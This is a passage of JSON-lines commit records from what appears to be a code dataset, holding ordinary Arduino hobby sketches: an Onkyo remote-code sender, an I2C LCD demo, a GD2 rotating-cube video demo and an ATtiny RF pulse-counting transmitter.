'9')\n cmd += c-0x30;\n else if(c >= 'a' and c <= 'f')\n cmd += c-0x61+0xA;\n \n delay(10);\n }\n }\n }\n }\n\n if(!pause && cmd==0)\n {\n if(i<0xfff)\n i++;\n else\n i=0; \n \n onkyoSend(i); \n \n Serial.print(\"0x\");\n Serial.println(i,HEX);\n delay(500); \n }\n else if(cmd>0)\n {\n onkyoSend(cmd); \n \n Serial.print(\"user - 0x\");\n Serial.println(cmd,HEX); \n\n i = cmd; \n }\n \n \n\/\/ if(Serial.available())\n\/\/ {\n\/\/ String input = Serial.readString();\n\/\/ \/\/cut new line cahrs\n\/\/ input.trim();\n\/\/\n\/\/ Serial.print(input);\n\/\/ Serial.println(\" processing\"); \n\/\/ \n\/\/ if(input == \"on\")\n\/\/ onkyoSend(0x00E9); \n\/\/ else if(input == \"off\")\n\/\/ onkyoSend(0x00EA); \n\/\/ else if(input == \"mute\")\n\/\/ onkyoSend(0x0AA1); \n\/\/ else if(input == \"amp1\")\n\/\/ onkyoSend(0x0AA2); \n\/\/ else if(input == \"amp2\")\n\/\/ onkyoSend(0x0AA0); \n\/\/ else if(input == \"dim\")\n\/\/ onkyoSend(0x01B2); \n\/\/ else if(input == \"cdon\")\n\/\/ onkyoSend(0x0604); \n\/\/ else\n\/\/ Serial.println(\"Unknown command\"); \n\/\/ }\n\/\/ else\n\/\/ {\n\/\/ delay(10); \n\/\/ }\n}\n\nvoid onkyoSend(int command)\n{\n onkyoWriteHeader();\n\n \n for(int i=0;i<12;i++)\n {\n bool level = command & 0x800;\n command <<= 1;\n onkyoWriteBit(level);\n }\n\n onkyoWriteFooter();\n}\n\nvoid onkyoWriteHeader()\n{\n \/\/Serial.println(micros());\n digitalWrite(ONKYO_PIN,HIGH);\n delayMicroseconds(3000);\n digitalWrite(ONKYO_PIN,LOW);\n delayMicroseconds(1000);\n \/\/Serial.println(micros());\n}\nvoid onkyoWriteBit(bool level)\n{\n digitalWrite(ONKYO_PIN,HIGH);\n delayMicroseconds(1000); \n digitalWrite(ONKYO_PIN,LOW);\n \n if(level)\n delayMicroseconds(2000); \n else\n delayMicroseconds(1000); \n}\nvoid onkyoWriteFooter()\n{\n digitalWrite(ONKYO_PIN,HIGH);\n delayMicroseconds(1000);\n digitalWrite(ONKYO_PIN,LOW);\n delay(20);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Onkyo_test\/Onkyo_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"996d409e7f9c067c5ea3eb9745ec3a64c87f26f9","subject":"First LCD test","message":"First LCD test\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"LCD_display\/LCD_display.ino","new_file":"LCD_display\/LCD_display.ino","new_contents":"\/*\n** Example Arduino sketch for SainSmart I2C LCD Screen 16x2\n** based on https:\/\/bitbucket.org\/celem\/sainsmart-i2c-lcd\/src\/3adf8e0d2443\/sainlcdtest.ino\n** by\n** Edward Comer\n** LICENSE: GNU General Public License, version 3 (GPL-3.0)\n\n** This example uses F Malpartida's NewLiquidCrystal library. Obtain from:\n** https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal \n\n** Modified \u2013 Ian Brennan ianbren at hotmail.com 23-10-2012 to support Tutorial posted to Arduino.cc\n\n** Written for and tested with Arduino 1.0\n**\n** NOTE: Tested on Arduino Uno whose I2C pins are A4==SDA, A5==SCL\n\n*\/\n#include <Wire.h>\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h>\n\n#define I2C_ADDR 0x27 \/\/ <<----- Add your address here. Find it from I2C Scanner\n#define BACKLIGHT_PIN 3\n#define En_pin 2\n#define Rw_pin 1\n#define Rs_pin 0\n#define D4_pin 4\n#define D5_pin 5\n#define D6_pin 6\n#define D7_pin 7\n\nint n = 1;\n\nLiquidCrystal_I2C lcd(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin);\n\nvoid setup()\n{\n lcd.begin (16,2); \/\/ <<----- My LCD was 16x2\n\n \n\/\/ Switch on the backlight\nlcd.setBacklightPin(BACKLIGHT_PIN,POSITIVE);\nlcd.setBacklight(HIGH);\nlcd.home (); \/\/ go home\n\n lcd.print(\"TTK is here !\"); \n}\n\nvoid loop()\n{\n \/\/ Backlight on\/off every 3 seconds\n lcd.setCursor (0,1); \/\/ go to start of 2nd line\n lcd.print(n++,DEC);\n lcd.setBacklight(LOW); \/\/ Backlight off\n delay(3000);\n lcd.setBacklight(HIGH); \/\/ Backlight on\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCD_display\/LCD_display.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cec46af075973452e7800c11da273c9e37c29f82","subject":"welcome sketch for ESP8266","message":"welcome sketch for ESP8266\n","repos":"jamesbowman\/gd2-lib,jamesbowman\/gd2-lib,jamesbowman\/gd2-lib","old_file":"welcome.ino","new_file":"welcome.ino","new_contents":"#include <EEPROM.h>\n#include <SPI.h>\n#include <GD2.h>\n\n#include \"welcome_assets.h\"\n\n#define FACE_BACK 0\n#define FACE_FRONT 1\n\n#define P 125\n#define N -P\n\nstatic const PROGMEM int8_t CUBE_vertices[] = {\n P,P,P,\n N,P,P,\n P,N,P,\n N,N,P,\n\n P,P,N,\n N,P,N,\n P,N,N,\n N,N,N,\n};\n\n\/\/ each line is a face: count, normal, 4 vertices\n\nstatic const PROGMEM int8_t CUBE_faces[] = {\n 4, 0,0,127, 0, 1, 3, 2,\n 4, 0,0,-127, 6, 7, 5, 4,\n\n 4, 0,127,0, 4, 5, 1, 0,\n 4, 0,-127,0, 2, 3, 7, 6,\n\n 4, 127,0,0, 0, 2, 6, 4,\n 4, -127,0,0, 3, 1, 5, 7,\n\n -1\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 3D Projection\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic float model_mat[9] = {\n 1.0, 0.0, 0.0,\n 0.0, 1.0, 0.0,\n 0.0, 0.0, 1.0 };\nstatic float normal_mat[9] = {\n 1.0, 0.0, 0.0,\n 0.0, 1.0, 0.0,\n 0.0, 0.0, 1.0 };\n\n#define M(nm,i,j) ((nm)[3 * (i) + (j)])\n\n\/\/ 3x3 matrix multiplication: c = a * b\nvoid mult_matrices(float *a, float *b, float *c)\n{\n int i, j, k;\n float result[9];\n for(i = 0; i < 3; i++) {\n for(j = 0; j < 3; j++) {\n M(result,i,j) = 0.0f;\n for(k = 0; k < 3; k++) {\n M(result,i,j) += M(a,i,k) * M(b,k,j);\n }\n }\n }\n memcpy(c, result, sizeof(result));\n}\n\n\/\/ Based on glRotate()\n\/\/ Returns 3x3 rotation matrix in 'm'\n\/\/ and its invese in 'mi'\n\nstatic void rotate(float *m, float *mi, float angle, float *axis)\n{\n float x = axis[0];\n float y = axis[1];\n float z = axis[2];\n\n float s = sin(angle);\n float c = cos(angle);\n\n float xx = x*x*(1-c);\n float xy = x*y*(1-c);\n float xz = x*z*(1-c);\n float yy = y*y*(1-c);\n float yz = y*z*(1-c);\n float zz = z*z*(1-c);\n\n float xs = x * s;\n float ys = y * s;\n float zs = z * s;\n\n m[0] = xx + c;\n m[1] = xy - zs;\n m[2] = xz + ys;\n\n m[3] = xy + zs;\n m[4] = yy + c;\n m[5] = yz - xs;\n\n m[6] = xz - ys;\n m[7] = yz + xs;\n m[8] = zz + c;\n\n mi[0] = m[0];\n mi[1] = xy + zs;\n mi[2] = xz - ys;\n\n mi[3] = xy - zs;\n mi[4] = m[4];\n mi[5] = yz + xs;\n\n mi[6] = xz + ys;\n mi[7] = yz - xs;\n mi[8] = m[8];\n}\n\nstatic void rotation(float angle, float *axis)\n{\n float mat[9], mati[9];\n\n rotate(mat, mati, angle, axis);\n mult_matrices(model_mat, mat, model_mat);\n mult_matrices(mati, normal_mat, normal_mat);\n}\n\n#define N_VERTICES (sizeof(CUBE_vertices) \/ 3)\n\ntypedef struct {\n int x, y;\n} point2;\n\nstatic point2 projected[N_VERTICES];\n\nvoid project()\n{\n byte vx;\n const PROGMEM int8_t *pm = CUBE_vertices; \n const PROGMEM int8_t *pm_e = pm + sizeof(CUBE_vertices);\n point2 *dst = projected;\n int16_t x, y, z;\n int scale = 64 * GD.h \/ 280;\n while (pm < pm_e) {\n x = (scale * (int8_t)pgm_read_byte_near(pm++)) >> 6;\n y = (scale * (int8_t)pgm_read_byte_near(pm++)) >> 6;\n z = (scale * (int8_t)pgm_read_byte_near(pm++)) >> 6;\n float xx = x * model_mat[0] + y * model_mat[3] + z * model_mat[6];\n float yy = x * model_mat[1] + y * model_mat[4] + z * model_mat[7];\n dst->x = 16 * (GD.w \/ 2 + xx);\n dst->y = 16 * (GD.h \/ 2 + yy);\n dst++;\n }\n}\n\nstatic void transform_normal(int8_t &nx, int8_t &ny, int8_t &nz)\n{\n int8_t xx = nx * normal_mat[0] + ny * normal_mat[1] + nz * normal_mat[2];\n int8_t yy = nx * normal_mat[3] + ny * normal_mat[4] + nz * normal_mat[5];\n int8_t zz = nx * normal_mat[6] + ny * normal_mat[7] + nz * normal_mat[8];\n nx = xx, ny = yy, nz = zz;\n}\n\nstatic void quad(int x1, int y1,\n int x2, int y2,\n int x3, int y3,\n int bx1, int by1,\n int bx3, int by3)\n{\n \/\/ Compute the fourth vertex of the parallelogram, (x4,y4)\n int x4 = x3 + (x1 - x2);\n int y4 = y3 + (y1 - y2);\n\n \/\/ Apply Scissor to the extents of the quad\n int minx = max(0, min(min(x1, x2), min(x3, x4)));\n int maxx = min(GD.w, max(max(x1, x2), max(x3, x4)));\n int miny = max(0, min(min(y1, y2), min(y3, y4)));\n int maxy = min(GD.h, max(max(y1, y2), max(y3, y4)));\n GD.ScissorXY(minx, miny);\n GD.ScissorSize(maxx - minx, maxy - miny);\n \/\/ GD.ClearColorRGB(0, 255, 0); GD.Clear();\n\n \/\/ Set the new bitmap transform\n GD.cmd32(0xffffff21UL); \/\/ bitmap transform\n GD.cmd32(x1); GD.cmd32(y1);\n GD.cmd32(x2); GD.cmd32(y2);\n GD.cmd32(x3); GD.cmd32(y3);\n\n GD.cmd32(bx1); GD.cmd32(by1);\n GD.cmd32(bx1); GD.cmd32(by3);\n GD.cmd32(bx3); GD.cmd32(by3);\n GD.cmd32(0);\n\n \/\/ Draw the quad\n GD.Vertex2f(0, 0);\n}\n\nvoid draw_faces(int dir)\n{\n int R = 15;\n const PROGMEM int8_t *p = CUBE_faces; \n byte n;\n\n GD.BlendFunc(ONE, ONE_MINUS_SRC_ALPHA);\n GD.Begin(BITMAPS);\n\n byte i = 0;\n while ((n = pgm_read_byte_near(p++)) != 0xff) {\n int8_t nx = pgm_read_byte_near(p++);\n int8_t ny = pgm_read_byte_near(p++);\n int8_t nz = pgm_read_byte_near(p++);\n byte v1 = pgm_read_byte_near(p);\n byte v2 = pgm_read_byte_near(p + 1);\n byte v3 = pgm_read_byte_near(p + 2);\n p += n;\n\n long x1 = projected[v1].x;\n long y1 = projected[v1].y;\n long x2 = projected[v2].x;\n long y2 = projected[v2].y;\n long x3 = projected[v3].x;\n long y3 = projected[v3].y;\n long area = (x1 - x3) * (y2 - y1) - (x1 - x2) * (y3 - y1);\n byte face = (area < 0);\n if (face == dir) {\n uint16_t r = 80, g = 40, b = 0; \/\/ Ambient\n\n if (face) {\n transform_normal(nx, ny, nz);\n int d = max(0, -nz); \/\/ diffuse light from +ve Z\n r += 2 * d;\n g += 2 * d;\n b += 2 * d;\n }\n r = constrain(r, 192, 255);\n GD.ColorRGB(min(255, r), min(255, g), min(255, b));\n GD.BitmapHandle(face);\n GD.Cell(i);\n i = (i + 1) & 3;\n\n x1 >>= 4;\n y1 >>= 4;\n x2 >>= 4;\n y2 >>= 4;\n x3 >>= 4;\n y3 >>= 4;\n quad(x1, y1, x2, y2, x3, y3,\n 80 - 90, 64 - 90,\n 80 + 90, 64 + 90);\n }\n }\n}\n\n\/*****************************************************************\/\n\n\/* simple trackball-like motion control *\/\n\/* Based on projtex.c - by David Yu and David Blythe, SGI *\/\n\nfloat angle, axis[3] = {0,1,0};\nfloat lastPos[3];\n\nvoid\nptov(int x, int y, int width, int height, float v[3])\n{\n float d, a;\n\n \/* project x,y onto a hemi-sphere centered within width, height *\/\n v[0] = (2.0 * x - width) \/ width;\n v[1] = (2.0 * y - height) \/ height;\n d = sqrt(v[0] * v[0] + v[1] * v[1]);\n v[2] = cos((M_PI \/ 2.0) * ((d < 1.0) ? d : 1.0));\n a = 1.0 \/ sqrt(v[0] * v[0] + v[1] * v[1] + v[2] * v[2]);\n v[0] *= a;\n v[1] *= a;\n v[2] *= a;\n}\n\nvoid\nstartMotion(int x, int y)\n{\n angle = 0.0;\n ptov(x, y, GD.w, GD.h, lastPos);\n}\n\nvoid\ntrackMotion(int x, int y)\n{\n float curPos[3], dx, dy, dz;\n\n ptov(x, y, GD.w, GD.h, curPos);\n\n dx = curPos[0] - lastPos[0];\n dy = curPos[1] - lastPos[1];\n dz = curPos[2] - lastPos[2];\n angle = (M_PI \/ 2) * sqrt(dx * dx + dy * dy + dz * dz);\n\n axis[0] = lastPos[1] * curPos[2] - lastPos[2] * curPos[1];\n axis[1] = lastPos[2] * curPos[0] - lastPos[0] * curPos[2];\n axis[2] = lastPos[0] * curPos[1] - lastPos[1] * curPos[0];\n\n float mag = 1 \/ sqrt(axis[0] * axis[0] + axis[1] * axis[1] + axis[2] * axis[2]);\n axis[0] *= mag;\n axis[1] *= mag;\n axis[2] *= mag;\n\n lastPos[0] = curPos[0];\n lastPos[1] = curPos[1];\n lastPos[2] = curPos[2];\n}\n\n\/*****************************************************************\/\n\nuint32_t f0;\nint qq;\n\nclass MoviePlayer\n{\n uint16_t wp;\n Reader r;\n void loadsector() {\n byte buf[512];\n GD.__end();\n r.readsector(buf);\n GD.resume();\n GD.wr_n(0x0f0000UL + wp, buf, 512);\n wp += 512;\n }\n\npublic:\n int begin(const char *filename) {\n GD.__end();\n if (!r.openfile(filename)) {\n Serial.println(\"Open failed\");\n return 0;\n }\n GD.resume();\n\nuint32_t t0 = millis();\n wp = 0;\n while (wp < 0xfe00U)\n loadsector();\n uint32_t took = (millis() - t0);\nSerial.println(took);\nSerial.print(1000L * wp \/ took);\nSerial.println(\" bytes\/s\");\n\n GD.cmd_mediafifo(0x0f0000UL, 0x10000UL);\n GD.cmd_regwrite(REG_MEDIAFIFO_WRITE, wp);\nGD.finish();\n\n if (0) {\n GD.cmd_playvideo(OPT_MEDIAFIFO);\n } else {\n GD.cmd_videostart();\n }\n\nf0 = millis();\n return 1;\n }\n int play() {\n if (r.eof()) {\n return 0;\n } else {\n byte buf[512];\n\n uint16_t fullness = wp - GD.rd16(REG_MEDIAFIFO_READ);\n qq = 0;\n while (fullness < 0xfe00U) {\n loadsector();\n fullness += 512;\n qq += 512;\n }\n GD.wr16(REG_MEDIAFIFO_WRITE, wp);\n return 1;\n }\n }\n};\n\nMoviePlayer mp;\n\n\/*****************************************************************\/\n\n#define BG 25\n\nBitmap background;\n\nvoid cube_setup()\n{\n GD.Clear();\n GD.cmd_text(GD.w \/ 2, GD.h \/ 2, 31, OPT_CENTER, \"Loading video\");\n GD.BitmapHandle(0);\n GD.cmd_setbitmap(0, RGB565, 160, 128);\n GD.BitmapHandle(1);\n GD.cmd_setbitmap(0, RGB565, 160, 128);\n GD.swap();\n\n mp.begin(\"70s_tv18.avi\");\n GD.Clear();\n GD.swap();\n\n GD.BitmapHandle(FACE_FRONT);\n GD.BitmapSize(BILINEAR, BORDER, BORDER, GD.w, GD.h);\n GD.BitmapSource(GD.loadptr);\n GD.BitmapHandle(FACE_BACK);\n GD.BitmapSize(NEAREST, BORDER, BORDER, GD.w, GD.h);\n GD.BitmapSource(GD.loadptr);\n Serial.println(__LINE__);\n\n startMotion(240, 136);\n trackMotion(247, 138);\n}\n\nbyte prev_touching;\n\nvoid cube_loop()\n{\n unsigned long t0 = micros();\n mp.play();\n unsigned long took = micros() - t0;\n GD.get_inputs();\n GD.cmd_videoframe(GD.loadptr, 0xefffcUL);\n\n GD.Clear();\n GD.ColorRGB(48, 48, 90);\n \/\/ background.wallpaper();\n\n GD.ColorRGB(255, 255, 255);\n\n if (!prev_touching && GD.inputs.touching)\n startMotion(GD.inputs.x, GD.inputs.y);\n else if (GD.inputs.touching)\n trackMotion(GD.inputs.x, GD.inputs.y);\n prev_touching = GD.inputs.touching;\n\n if (angle != 0.0f)\n rotation(angle, axis);\n\n project();\n draw_faces(FACE_BACK);\n draw_faces(FACE_FRONT);\n\n GD.swap();\n\n \/\/ GD.dumpscreen();\n}\n\nvoid setup()\n{\n GD.begin();\n LOAD_ASSETS();\n}\n\nint cmap(int value, int fromLow, int fromHigh, int toLow, int toHigh)\n{\n return map(constrain(value, fromLow, fromHigh), fromLow, fromHigh, toLow, toHigh);\n}\n\nint t;\n\nvoid loop()\n{\n GD.ClearColorRGB(0xffffff);\n GD.Clear();\n\n GD.ColorRGB(0x000000);\n GD.LineWidth(PIXELS(24));\n GD.Begin(RECTS);\n int r = 32;\n GD.Vertex2ii(r, r);\n GD.Vertex2ii(GD.w - r, GD.h - r);\n\n int g = cmap(t, 60, 100, 0, 255);\n GD.ColorRGB(g, g, g);\n bitmaps.gd.draw(GD.w \/ 2, GD.h \/ 2 - 20);\n\n g = cmap(t, 100, 130, 0, 255);\n GD.ColorRGB(g, g, g);\n GD.Begin(LINES);\n GD.LineWidth(PIXELS(10));\n int y = PIXELS(GD.h \/ 2 + 15);\n for (int i = -1; i < 2; i++) {\n int x = PIXELS(GD.w \/ 2 + 45 * i);\n GD.Vertex2f(x, y);\n GD.Vertex2f(x, cmap(t, 120, 210, y, PIXELS(GD.h)));\n }\n GD.swap();\n t++;\n if (t == 300) {\n cube_setup();\n for (;;)\n cube_loop();\n }\n} \/\/' }A\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'welcome.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"016fc22e78e51e8358933067096e7dcb48d431f8","subject":"Checking in first revision of pulse code","message":"Checking in first revision of pulse code\n\nExtracted functions from jee lib and started to remove checks for\nanything other than ATtiny, added PCINT interrupt.\n","repos":"tinoest\/ATTinyCode","old_file":"ATTinyRFTransmitterPulse.ino","new_file":"ATTinyRFTransmitterPulse.ino","new_contents":"\/*\n +-\\\/-+\n VCC 1| |14 GND\n PB0 2| |13 AREF \n PB1 3| |12 PA1 \n RST 4| |11 PA2 \n PB2 5| |10 PA3 \n PA7 6| |9 PA4 \n PA6 7| |8 PA5\n +----+\n \n Watchdog Timer Prescale Select\n \n WDP3 WDP2 WDP1 WDP0 Number of WDT Typical Time-out at Oscillator Cycles VCC = 5.0V\n \n 0 0 0 0 2K (2048) cycles 16 ms\n 0 0 0 1 4K (4096) cycles 32 ms\n 0 0 1 0 8K (8192) cycles 64 ms\n 0 0 1 1 16K (16384) cycles 0.125 s\n 0 1 0 0 32K (32768) cycles 0.25 s\n 0 1 0 1 64K (65536) cycles 0.5 s\n 0 1 1 0 128K (131072) cycles 1.0 s\n 0 1 1 1 256K (262144) cycles 2.0 s\n 1 0 0 0 512K (524288) cycles 4.0 s\n 1 0 0 1 1024K (1048576) cycles 8.0 s\n \n *\/\n\/\/ digitalWrite Low \n#define CLR(x,y) (x&=(~(1<<y)))\n\/\/ digitalWrite High\n#define SET(x,y) (x|=(1<<y))\n\n#include <avr\/sleep.h>\n#include <avr\/power.h>\n#include <avr\/wdt.h>\n#include <stdlib.h>\n#include <util\/delay.h>\n#include <util\/crc16.h>\n\n\/\/ATTiny84\n#define RFM_IRQ 2\n#define SS_DDR DDRB\n#define SS_PORT PORTB\n#define SS_BIT 1\n\n#define SPI_SS 1 \/\/ PB1, pin 3\n#define SPI_MISO 4 \/\/ PA6, pin 7\n#define SPI_MOSI 5 \/\/ PA5, pin 8\n#define SPI_SCK 6 \/\/ PA4, pin 9\n\n#define RF12_433MHZ 1 \/\/\/< RFM12B 433 MHz frequency band.\n#define RF12_868MHZ 2 \/\/\/< RFM12B 868 MHz frequency band.\n#define RF12_915MHZ 3 \/\/\/< RFM12B 915 MHz frequency band.\n\n\/\/ RF12 command codes\n#define RF_RECEIVER_ON 0x82DD\n#define RF_XMITTER_ON 0x823D\n#define RF_IDLE_MODE 0x820D\n#define RF_SLEEP_MODE 0x8205\n#define RF_WAKEUP_MODE 0x8207\n#define RF_TXREG_WRITE 0xB800\n#define RF_RX_FIFO_READ 0xB000\n#define RF_WAKEUP_TIMER 0xE000\n\n\/\/ RF12 status bits\n#define RF_LBD_BIT 0x0400\n#define RF_RSSI_BIT 0x0100\n\n\/\/ bits in the node id configuration byte\n#define NODE_BAND 0xC0 \/\/ frequency band\n#define NODE_ACKANY 0x20 \/\/ ack on broadcast packets if set\n#define NODE_ID 0x1F \/\/ id of this node, as A..Z or 1..31\n\n#define myNodeID 10 \/\/ RF12 node ID in the range 1-30\n#define network 210 \/\/ RF12 Network group\n#define freq RF12_433MHZ \/\/ Frequency of RFM12B module\n\n\/\/#define USE_ACK \/\/ Enable ACKs, comment out to disable\n#define RETRY_PERIOD 5 \/\/ How soon to retry (in seconds) if ACK didn't come in\n#define RETRY_LIMIT 5 \/\/ Maximum number of times to retry\n#define ACK_TIME 10 \/\/ Number of milliseconds to wait for an ack\n\n#define BAUD 9600\n#define STX_PORT PORTA\n#define STX_DDR DDRA\n#define STX_BIT 7 \/\/ Which port on PORTB to use 0 = D8 , 1 = D9 , 2 = D10\n\n#define TMP_OFFSET 7\n\n\n\nstatic uint8_t nodeid; \/\/ address of this node\nstatic uint8_t group; \/\/ network group\nstatic volatile uint8_t rxfill; \/\/ number of data bytes in rf12_buf\nstatic volatile int8_t rxstate; \/\/ current transceiver state\nvolatile uint16_t rf12_crc; \/\/ running crc value\nvolatile uint16_t pulse;\n\nenum {\n TXCRC1, TXCRC2, TXTAIL, TXDONE, TXIDLE,\n TXRECV,\n TXPRE1, TXPRE2, TXPRE3, TXSYN1, TXSYN2,\n};\n\n\/\/\/ Shorthand for RFM12B group byte in rf12_buf.\n#define rf12_grp rf12_buf[0]\n\/\/\/ Shorthand for RFM12B header byte in rf12_buf.\n#define rf12_hdr rf12_buf[1]\n\/\/\/ Shorthand for RFM12B length byte in rf12_buf.\n#define rf12_len rf12_buf[2]\n\/\/\/ Shorthand for first RFM12B data byte in rf12_buf.\n#define rf12_data (rf12_buf + 3)\n\n\/\/\/ RFM12B CTL bit mask.\n#define RF12_HDR_CTL 0x80\n\/\/\/ RFM12B DST bit mask.\n#define RF12_HDR_DST 0x40\n\/\/\/ RFM12B ACK bit mask.\n#define RF12_HDR_ACK 0x20\n\/\/\/ RFM12B HDR bit mask.\n#define RF12_HDR_MASK 0x1F\n\n\/\/\/ RFM12B Maximum message size in bytes.\n#define RF12_MAXDATA 66\n\/\/ maximum transmit \/ receive buffer: 3 header + data + 2 crc bytes\n#define RF_MAX (RF12_MAXDATA + 5)\nvolatile uint8_t rf12_buf[RF_MAX]; \/\/ recv\/xmit buf, including hdr & crc bytes\nlong rf12_seq; \/\/ seq number of encrypted packet (or -1)\n\nstatic uint8_t cs_pin = SS_BIT; \/\/ chip select pin\n\n\/\/#define DEBUG\n\nint counter;\nvolatile uint8_t watchdogCounter;\n\ntypedef struct {\n int counter;\n int tmpC;\n int supplyV;\t\/\/ Supply voltage\n} \nPayload;\n\nPayload temptx;\n\nvoid setup() {\n\n#if defined(DEBUG)\n sinit();\n#endif\n\n \/\/ PB0 \n GIMSK = (1<<PCIE1); \/\/ enable Pin Change Interrupt 1 \n PCMSK1 = (1<<PCINT8); \/\/ enable PCINT8\n\n rf12_initialize(myNodeID,freq,network); \/\/ Initialize RFM12 with settings defined above \n rf12_sleep(0); \/\/ Put the RFM12 to sleep\n PRR = bit(PRTIM1); \/\/ only keep timer 0 going\n ADCSRA &= ~ bit(ADEN); \n bitSet(PRR, PRADC); \/\/ Disable the ADC to save power\n setup_watchdog(6);\n pulse = 0;\n\n}\n\nvoid loop() {\n\n sleep(30);\n\n counter++;\n temptx.counter = (counter); \/\/ Get temperature reading and convert to integer, reversed at receiving end\n temptx.supplyV = readVcc(); \/\/ Get supply voltage\n temptx.tmpC = pulse;\n\n#if defined(DEBUG)\n char tmp[50];\n sprintf(tmp,\"Count %i Supply %i TmpC %i\\n\", counter , temptx.supplyV , temptx.tmpC);\n sputs(tmp);\n#endif\n\n rfwrite(); \/\/ Send data via RF \n\n}\n\nISR (PCINT1_vect) \n{ \n if (PINB & (1<<PB0)) { \/\/ detect rising edge \n pulse++;\n _delay_ms(20); \/\/simple debounce \n } \n else { \/\/ detect falling edge \n _delay_ms(20); \/\/ simple debounce \n } \n} \n\n\n\/\/--------------------------------------------------------------------------------------------------\n\/\/ Sleep Configuration \n\/\/-------------------------------------------------------------------------------------------------\n\/\/ 0=16ms, 1=32ms,2=64ms,3=128ms,4=250ms,5=500ms,6=1 sec,7=2 sec, 8=4 sec, 9=8 sec\nvoid setup_watchdog(uint8_t sleepMode) {\n\n byte sleepByte;\n if (sleepMode > 9 ) sleepMode = 9;\n sleepByte = sleepMode & 0x07;\n if (sleepMode > 7) sleepByte |= (1<<5);\n sleepByte |= (1<<WDCE);\n\n MCUSR &= ~(1 << WDRF); \/\/ reset status flag\n WDTCSR |= (1 << WDCE) | (1 << WDE); \/\/ enable configuration changes\n WDTCSR = sleepByte;\n WDTCSR |= (1 << WDIE); \/\/ enable interrupt mode\n\n}\n\nvoid sleep(uint8_t sleepTime) {\n\n do {\n set_sleep_mode(SLEEP_MODE_PWR_DOWN); \/\/ select the watchdog timer mode\n sleep_enable(); \/\/ enable the sleep mode ready for use\n sleep_mode(); \/\/ trigger the sleep\n sleep_disable(); \/\/ prevent further sleeps \n } \n while(watchdogCounter < sleepTime);\n\n watchdogCounter = 0;\n\n}\n\nISR(WDT_vect) {\n watchdogCounter++;\n}\n\n\n\n\/\/ Wait a few milliseconds for proper ACK\n#ifdef USE_ACK\nstatic byte waitForAck() {\n MilliTimer ackTimer;\n while (!ackTimer.poll(ACK_TIME)) {\n if (rf12_recvDone() && rf12_crc == 0 &&\n rf12_hdr == (RF12_HDR_DST | RF12_HDR_CTL | myNodeID))\n return 1;\n }\n return 0;\n}\n#endif\n\n\n\/\/--------------------------------------------------------------------------------------------------\n\/\/ Send payload data via RF\n\/\/-------------------------------------------------------------------------------------------------\nstatic void rfwrite(){\n#ifdef USE_ACK\n for (byte i = 0; i <= RETRY_LIMIT; ++i) { \/\/ tx and wait for ack up to RETRY_LIMIT times\n rf12_sleep(-1); \/\/ Wake up RF module\n while (!rf12_canSend())\n rf12_recvDone();\n rf12_sendStart(RF12_HDR_ACK, &temptx, sizeof temptx); \n rf12_sendWait(2); \/\/ Wait for RF to finish sending while in standby mode\n byte acked = waitForAck(); \/\/ Wait for ACK\n rf12_sleep(0); \/\/ Put RF module to sleep\n if (acked) { \n return; \n } \/\/ Return if ACK received\n sleep(30);\n }\n#else\n rf12_sleep(-1); \/\/ Wake up RF module\n while (!rf12_canSend())\n rf12_recvDone();\n rf12_sendStart(0, &temptx, sizeof temptx); \n rf12_sendWait(2); \/\/ Wait for RF to finish sending while in standby mode\n rf12_sleep(0); \/\/ Put RF module to sleep\n return;\n#endif\n}\n\n\/\/--------------------------------------------------------------------------------------------------\n\/\/ Read current supply voltage\n\/\/--------------------------------------------------------------------------------------------------\nlong readVcc() {\n bitClear(PRR, PRADC); \n ADCSRA |= bit(ADEN); \/\/ Enable the ADC\n long result;\n \/\/ Read 1.1V reference against Vcc\n ADMUX = _BV(MUX5) | _BV(MUX0); \/\/ For ATtiny84\n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Convert\n while (bit_is_set(ADCSRA,ADSC));\n result = ADCL;\n result |= ADCH<<8;\n result = 1126400L \/ result; \/\/ Back-calculate Vcc in mV\n ADCSRA &= ~ bit(ADEN); \n bitSet(PRR, PRADC); \/\/ Disable the ADC to save power\n return result;\n} \n\n\n\/\/--------------------------------------------------------------------------------------------------\n\/\/ Read Internal Temperature , Return in Degree C\n\/\/--------------------------------------------------------------------------------------------------\nlong readTmpC() {\n bitClear(PRR, PRADC); \n ADCSRA |= bit(ADEN); \/\/ Enable the ADC\n long result;\n ADMUX = B00100010; \/\/ Select temperature sensor\n ADMUX &= ~_BV( ADLAR ); \/\/ Right-adjust result\n ADMUX |= _BV( REFS1 ); \/\/ Set Ref voltage\n ADMUX &= ~( _BV( REFS0 ) ); \/\/ to 1.1V\n \/\/ Configure ADCSRA\n ADCSRA &= ~( _BV( ADATE ) |_BV( ADIE ) ); \/\/ Disable autotrigger, Disable Interrupt\n ADCSRA |= _BV(ADEN); \/\/ Enable ADC\n delay(2);\n ADCSRA |= _BV(ADSC); \/\/ Convert\n while (bit_is_set(ADCSRA,ADSC));\n result = ADCL;\n result |= ADCH<<8;\n ADCSRA &= ~ bit(ADEN); \n bitSet(PRR, PRADC); \/\/ Disable the ADC to save power\n return result - 273 + TMP_OFFSET;\n} \n\n\/\/ Serial Functions Start\n#if defined(DEBUG)\n\nvoid sputchar( uint8_t c )\n{\n c = ~c;\n STX_PORT &= 